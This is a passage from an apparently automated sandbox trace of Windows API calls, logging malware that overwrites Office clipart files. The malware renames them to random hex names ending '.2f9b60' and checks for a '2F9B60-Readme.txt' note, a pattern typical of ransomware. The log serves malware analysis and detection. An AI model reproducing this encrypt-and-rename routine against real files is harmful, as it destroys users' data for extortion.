Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f0d0 [0123.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050df90 [0123.628] NtQuerySystemTime (in: CurrentTime=0x1f50fae0 | out: CurrentTime=0x1f50fae0*=132462177290038000) returned 0x0 [0123.628] RtlRandomEx (in: Seed=0x1f50fad0 | out: Seed=0x1f50fad0) returned 0x1d6fc01 [0123.628] RtlRandomEx (in: Seed=0x1f50fad0 | out: Seed=0x1f50fad0) returned 0x6a6320c2 [0123.628] RtlRandomEx (in: Seed=0x1f50fad0 | out: Seed=0x1f50fad0) returned 0x38de3be3 [0123.628] RtlRandomEx (in: Seed=0x1f50fad0 | out: Seed=0x1f50fad0) returned 0x2032ebed [0123.628] RtlRandomEx (in: Seed=0x1f50fad0 | out: Seed=0x1f50fad0) returned 0x35b76181 [0123.628] RtlRandomEx (in: Seed=0x1f50fad0 | out: Seed=0x1f50fad0) returned 0x4e9ef7ac [0123.628] RtlRandomEx (in: Seed=0x1f50fad0 | out: Seed=0x1f50fad0) returned 0x5ee247b1 [0123.628] RtlRandomEx (in: Seed=0x1f50fad0 | out: Seed=0x1f50fad0) returned 0x44892cce [0123.628] RtlRandomEx (in: Seed=0x1f50fad0 | out: Seed=0x1f50fad0) returned 0x12aa4365 [0123.628] RtlRandomEx (in: Seed=0x1f50fad0 | out: Seed=0x1f50fad0) returned 0x7ed89d10 [0123.628] RtlRandomEx (in: Seed=0x1f50fad0 | out: Seed=0x1f50fad0) returned 0x89ebd38 [0123.628] RtlRandomEx (in: Seed=0x1f50fad0 | out: Seed=0x1f50fad0) returned 0x26e82dd3 [0123.628] RtlRandomEx (in: Seed=0x1f50fad0 | out: Seed=0x1f50fad0) returned 0x3ef1ed14 [0123.628] RtlRandomEx (in: Seed=0x1f50fad0 | out: Seed=0x1f50fad0) returned 0x5c8dd5a7 [0123.628] RtlRandomEx (in: Seed=0x1f50fad0 | out: Seed=0x1f50fad0) returned 0xa6a282a [0123.628] RtlRandomEx (in: Seed=0x1f50fad0 | out: Seed=0x1f50fad0) returned 0x12fd5453 [0123.629] RtlRandomEx (in: Seed=0x1f50fad0 | out: Seed=0x1f50fad0) returned 0x362050b [0123.629] RtlRandomEx (in: Seed=0x1f50fad0 | out: Seed=0x1f50fad0) returned 0x4f508a95 [0123.629] RtlRandomEx (in: Seed=0x1f50fad0 | out: Seed=0x1f50fad0) returned 0x3527f87a [0123.629] RtlRandomEx (in: Seed=0x1f50fad0 | out: Seed=0x1f50fad0) returned 0x43b9bb8b [0123.629] RtlRandomEx (in: Seed=0x1f50fad0 | out: Seed=0x1f50fad0) returned 0x215f7a9f [0123.629] RtlRandomEx (in: Seed=0x1f50fad0 | out: Seed=0x1f50fad0) returned 0x358d775c [0123.629] RtlRandomEx (in: Seed=0x1f50fad0 | out: Seed=0x1f50fad0) returned 0x63a2eebc [0123.629] RtlRandomEx (in: Seed=0x1f50fad0 | out: Seed=0x1f50fad0) returned 0x68e77ef1 [0123.629] RtlRandomEx (in: Seed=0x1f50fad0 | out: Seed=0x1f50fad0) returned 0x1cf05aca [0123.629] RtlRandomEx (in: Seed=0x1f50fad0 | out: Seed=0x1f50fad0) returned 0x4d700d83 [0123.629] RtlRandomEx (in: Seed=0x1f50fad0 | out: Seed=0x1f50fad0) returned 0x7e8b367d [0123.629] RtlRandomEx (in: Seed=0x1f50fad0 | out: Seed=0x1f50fad0) returned 0x75c6a6ad [0123.629] RtlRandomEx (in: Seed=0x1f50fad0 | out: Seed=0x1f50fad0) returned 0x2830fb70 [0123.629] RtlRandomEx (in: Seed=0x1f50fad0 | out: Seed=0x1f50fad0) returned 0x263bc318 [0123.629] RtlRandomEx (in: Seed=0x1f50fad0 | out: Seed=0x1f50fad0) returned 0x4ecd5f10 [0123.629] RtlRandomEx (in: Seed=0x1f50fad0 | out: Seed=0x1f50fad0) returned 0x5dfe3e21 [0123.638] ReadFile (in: hFile=0x1824, lpBuffer=0x201500b0, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x1f50fad0, lpOverlapped=0x0 | out: lpBuffer=0x201500b0*, lpNumberOfBytesRead=0x1f50fad0*=0x32c, lpOverlapped=0x0) returned 1 [0123.638] SetFilePointerEx (in: hFile=0x1824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.638] WriteFile (in: hFile=0x1824, lpBuffer=0x41f35950*, nNumberOfBytesToWrite=0x32c, lpNumberOfBytesWritten=0x1f50fad4, lpOverlapped=0x0 | out: lpBuffer=0x41f35950*, lpNumberOfBytesWritten=0x1f50fad4*=0x32c, lpOverlapped=0x0) returned 1 [0123.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e7d0 [0123.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e7a0 [0123.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e7a0) returned 1 [0123.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f35950) returned 1 [0123.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201500b0) returned 1 [0123.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505190) returned 1 [0123.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059970) returned 1 [0123.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050e7a0 [0123.880] SetFilePointerEx (in: hFile=0x1824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0123.880] WriteFile (in: hFile=0x1824, lpBuffer=0x1673a0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1f50fbf0, lpOverlapped=0x0 | out: lpBuffer=0x1673a0*, lpNumberOfBytesWritten=0x1f50fbf0*=0x10a, lpOverlapped=0x0) returned 1 [0123.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059830 [0123.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0123.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e770 [0123.918] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e770) returned 1 [0123.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0123.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e770 [0123.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e710 [0123.918] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e710) returned 1 [0123.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0123.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059830) returned 1 [0123.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0670 [0123.919] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="90") returned 2 [0123.919] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="9a") returned 2 [0123.919] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="1d") returned 2 [0123.919] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="b2") returned 2 [0123.919] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="72") returned 2 [0123.919] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="89") returned 2 [0123.919] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="ba") returned 2 [0123.919] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="c3") returned 2 [0123.919] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="e3") returned 2 [0123.919] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="86") returned 2 [0123.919] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="2d") returned 2 [0123.919] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="f1") returned 2 [0123.919] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="0e") returned 2 [0123.919] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="0e") returned 2 [0123.919] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="15") returned 2 [0123.919] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="2f") returned 2 [0123.919] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="03") returned 2 [0123.919] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="7d") returned 2 [0123.919] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="65") returned 2 [0123.919] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="04") returned 2 [0123.919] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="7d") returned 2 [0123.919] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="9f") returned 2 [0123.920] sprintf (in: _Dest=0x1cda069c, _Format="%c%c" | out: _Dest="87") returned 2 [0123.920] sprintf (in: _Dest=0x1cda069e, _Format="%c%c" | out: _Dest="e0") returned 2 [0123.920] RtlInitAnsiString (in: DestinationString=0x1f50fc68, SourceString="909a1db27289bac3e3862df10e0e152f037d65047d9f87e0" | out: DestinationString="909a1db27289bac3e3862df10e0e152f037d65047d9f87e0") [0123.920] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f50fc38, SourceString="909a1db27289bac3e3862df10e0e152f037d65047d9f87e0", AllocateDestinationString=1 | out: DestinationString="909a1db27289bac3e3862df10e0e152f037d65047d9f87e0") returned 0x0 [0123.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9390 [0123.920] wcscat (in: _Dest=0x202b1e10, _Source="909a1db27289" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\909a1db27289") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\909a1db27289" [0123.920] wcscat (in: _Dest=0x202b1e10, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\909a1db27289.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\909a1db27289.2f9b60" [0123.920] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\909a1db27289.2f9b60", NtPathName=0x1f50fc10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\909a1db27289.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0123.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1073c0 [0123.950] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1073c0) returned 1 [0123.950] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47550) returned 1 [0123.950] NtQueryInformationFile (in: FileHandle=0x1824, IoStatusBlock=0x1f50fc78, FileInformation=0x1f50fc88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1f50fc78, FileInformation=0x1f50fc88) returned 0x0 [0123.950] NtSetInformationFile (FileHandle=0x1824, IoStatusBlock=0x1f50fc78, FileInformation=0x1f50fc88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.951] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1e10) returned 1 [0123.951] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9390) returned 1 [0123.951] FlushFileBuffers (hFile=0x1824) returned 1 [0124.113] CloseHandle (hObject=0x1824) returned 1 [0124.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1370 [0124.114] wcscpy (in: _Dest=0x202b1370, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0124.114] wcscat (in: _Dest=0x202b1370, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0124.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0124.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1370) returned 1 [0124.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050aad0) returned 1 Thread: id = 1509 os_tid = 0x19e8 [0120.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf")) returned 0x20 [0122.445] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF", dwFileAttributes=0x20) returned 1 [0122.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x10cc [0123.477] GetFileSizeEx (in: hFile=0x10cc, lpFileSize=0x1de2f800 | out: lpFileSize=0x1de2f800*=13102) returned 1 [0123.477] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x332a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.477] ReadFile (in: hFile=0x10cc, lpBuffer=0x1de2f780, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1de2f7c8, lpOverlapped=0x0 | out: lpBuffer=0x1de2f780*, lpNumberOfBytesRead=0x1de2f7c8*=0x4, lpOverlapped=0x0) returned 1 [0123.703] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dd50 [0123.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eef0 [0123.704] NtQuerySystemTime (in: CurrentTime=0x1de2f6c0 | out: CurrentTime=0x1de2f6c0*=132462177290818000) returned 0x0 [0123.704] RtlRandomEx (in: Seed=0x1de2f6b0 | out: Seed=0x1de2f6b0) returned 0x431ba4fd [0123.704] RtlRandomEx (in: Seed=0x1de2f6b0 | out: Seed=0x1de2f6b0) returned 0x5a849b26 [0123.704] RtlRandomEx (in: Seed=0x1de2f6b0 | out: Seed=0x1de2f6b0) returned 0x60999f13 [0123.704] RtlRandomEx (in: Seed=0x1de2f6b0 | out: Seed=0x1de2f6b0) returned 0x2f914532 [0123.704] RtlRandomEx (in: Seed=0x1de2f6b0 | out: Seed=0x1de2f6b0) returned 0x7b513125 [0123.704] RtlRandomEx (in: Seed=0x1de2f6b0 | out: Seed=0x1de2f6b0) returned 0x2577168a [0123.704] RtlRandomEx (in: Seed=0x1de2f6b0 | out: Seed=0x1de2f6b0) returned 0x2423aca5 [0123.704] RtlRandomEx (in: Seed=0x1de2f6b0 | out: Seed=0x1de2f6b0) returned 0x143ac185 [0123.704] RtlRandomEx (in: Seed=0x1de2f6b0 | out: Seed=0x1de2f6b0) returned 0x27c92239 [0123.704] RtlRandomEx (in: Seed=0x1de2f6b0 | out: Seed=0x1de2f6b0) returned 0x430aba75 [0123.704] RtlRandomEx (in: Seed=0x1de2f6b0 | out: Seed=0x1de2f6b0) returned 0x27733e75 [0123.704] RtlRandomEx (in: Seed=0x1de2f6b0 | out: Seed=0x1de2f6b0) returned 0x26d406fa [0123.704] RtlRandomEx (in: Seed=0x1de2f6b0 | out: Seed=0x1de2f6b0) returned 0x72cdad1 [0123.704] RtlRandomEx (in: Seed=0x1de2f6b0 | out: Seed=0x1de2f6b0) returned 0x4698d79e [0123.704] RtlRandomEx (in: Seed=0x1de2f6b0 | out: Seed=0x1de2f6b0) returned 0x8cabf48 [0123.704] RtlRandomEx (in: Seed=0x1de2f6b0 | out: Seed=0x1de2f6b0) returned 0x209a1b32 [0123.704] RtlRandomEx (in: Seed=0x1de2f6b0 | out: Seed=0x1de2f6b0) returned 0x118ff392 [0123.704] RtlRandomEx (in: Seed=0x1de2f6b0 | out: Seed=0x1de2f6b0) returned 0x12c23808 [0123.704] RtlRandomEx (in: Seed=0x1de2f6b0 | out: Seed=0x1de2f6b0) returned 0x5dfe3e21 [0123.704] RtlRandomEx (in: Seed=0x1de2f6b0 | out: Seed=0x1de2f6b0) returned 0x430a6f96 [0123.704] RtlRandomEx (in: Seed=0x1de2f6b0 | out: Seed=0x1de2f6b0) returned 0x493ee380 [0123.704] RtlRandomEx (in: Seed=0x1de2f6b0 | out: Seed=0x1de2f6b0) returned 0x3397f2b5 [0123.704] RtlRandomEx (in: Seed=0x1de2f6b0 | out: Seed=0x1de2f6b0) returned 0x5a913fc7 [0123.704] RtlRandomEx (in: Seed=0x1de2f6b0 | out: Seed=0x1de2f6b0) returned 0x77997c0 [0123.704] RtlRandomEx (in: Seed=0x1de2f6b0 | out: Seed=0x1de2f6b0) returned 0x74ebf00 [0123.705] RtlRandomEx (in: Seed=0x1de2f6b0 | out: Seed=0x1de2f6b0) returned 0x143ac185 [0123.705] RtlRandomEx (in: Seed=0x1de2f6b0 | out: Seed=0x1de2f6b0) returned 0x430aba75 [0123.705] RtlRandomEx (in: Seed=0x1de2f6b0 | out: Seed=0x1de2f6b0) returned 0xc47b70b [0123.705] RtlRandomEx (in: Seed=0x1de2f6b0 | out: Seed=0x1de2f6b0) returned 0x1a5cf083 [0123.705] RtlRandomEx (in: Seed=0x1de2f6b0 | out: Seed=0x1de2f6b0) returned 0x24cc2579 [0123.705] RtlRandomEx (in: Seed=0x1de2f6b0 | out: Seed=0x1de2f6b0) returned 0x59353e7d [0123.705] RtlRandomEx (in: Seed=0x1de2f6b0 | out: Seed=0x1de2f6b0) returned 0x79735442 [0124.494] ReadFile (in: hFile=0x10cc, lpBuffer=0x41d1b4e0, nNumberOfBytesToRead=0x332e, lpNumberOfBytesRead=0x1de2f6b0, lpOverlapped=0x0 | out: lpBuffer=0x41d1b4e0*, lpNumberOfBytesRead=0x1de2f6b0*=0x332e, lpOverlapped=0x0) returned 1 [0124.876] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.876] WriteFile (in: hFile=0x10cc, lpBuffer=0x20175950*, nNumberOfBytesToWrite=0x332e, lpNumberOfBytesWritten=0x1de2f6b4, lpOverlapped=0x0 | out: lpBuffer=0x20175950*, lpNumberOfBytesWritten=0x1de2f6b4*=0x332e, lpOverlapped=0x0) returned 1 [0124.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8580 [0124.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d70 [0124.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7d70) returned 1 [0124.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20175950) returned 1 [0124.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d1b4e0) returned 1 [0124.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505590) returned 1 [0124.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059bf0) returned 1 [0124.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced7d70 [0124.898] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.898] WriteFile (in: hFile=0x10cc, lpBuffer=0x167280*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1de2f7d0, lpOverlapped=0x0 | out: lpBuffer=0x167280*, lpNumberOfBytesWritten=0x1de2f7d0*=0x10a, lpOverlapped=0x0) returned 1 [0125.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0125.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504790 [0125.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abbe0 [0125.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abbe0) returned 1 [0125.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0125.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abbe0 [0125.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab910 [0125.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab910) returned 1 [0125.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504790) returned 1 [0125.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0125.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0125.028] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="60") returned 2 [0125.028] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="78") returned 2 [0125.028] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="f0") returned 2 [0125.028] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="bc") returned 2 [0125.028] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="29") returned 2 [0125.028] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="03") returned 2 [0125.028] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="2c") returned 2 [0125.028] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="c3") returned 2 [0125.028] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="87") returned 2 [0125.029] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="e5") returned 2 [0125.029] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="1a") returned 2 [0125.029] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="fb") returned 2 [0125.029] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="d4") returned 2 [0125.029] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="8b") returned 2 [0125.029] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="6c") returned 2 [0125.029] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="92") returned 2 [0125.029] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="f2") returned 2 [0125.029] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="a6") returned 2 [0125.029] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="e4") returned 2 [0125.029] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="0e") returned 2 [0125.029] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="61") returned 2 [0125.029] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="77") returned 2 [0125.029] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="e5") returned 2 [0125.029] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="be") returned 2 [0125.029] RtlInitAnsiString (in: DestinationString=0x1de2f848, SourceString="6078f0bc29032cc387e51afbd48b6c92f2a6e40e6177e5be" | out: DestinationString="6078f0bc29032cc387e51afbd48b6c92f2a6e40e6177e5be") [0125.029] RtlAnsiStringToUnicodeString (in: DestinationString=0x1de2f818, SourceString="6078f0bc29032cc387e51afbd48b6c92f2a6e40e6177e5be", AllocateDestinationString=1 | out: DestinationString="6078f0bc29032cc387e51afbd48b6c92f2a6e40e6177e5be") returned 0x0 [0125.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8639d0 [0125.029] wcscat (in: _Dest=0x2027b690, _Source="6078f0bc2903" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6078f0bc2903") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6078f0bc2903" [0125.030] wcscat (in: _Dest=0x2027b690, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6078f0bc2903.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6078f0bc2903.2f9b60" [0125.030] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6078f0bc2903.2f9b60", NtPathName=0x1de2f7f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6078f0bc2903.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0125.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107480 [0125.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107480) returned 1 [0125.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47780) returned 1 [0125.031] NtQueryInformationFile (in: FileHandle=0x10cc, IoStatusBlock=0x1de2f858, FileInformation=0x1de2f868, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1de2f858, FileInformation=0x1de2f868) returned 0x0 [0125.031] NtSetInformationFile (FileHandle=0x10cc, IoStatusBlock=0x1de2f858, FileInformation=0x1de2f868, Length=0x28, FileInformationClass=0x4) returned 0x0 [0125.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b690) returned 1 [0125.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8639d0) returned 1 [0125.032] FlushFileBuffers (hFile=0x10cc) returned 1 [0125.043] CloseHandle (hObject=0x10cc) returned 1 [0125.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b00b0 [0125.044] wcscpy (in: _Dest=0x202b00b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0125.044] wcscat (in: _Dest=0x202b00b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0125.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0125.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b00b0) returned 1 [0125.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050aa40) returned 1 Thread: id = 1510 os_tid = 0x19ec [0120.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf")) returned 0x20 [0122.438] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF", dwFileAttributes=0x20) returned 1 [0122.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft 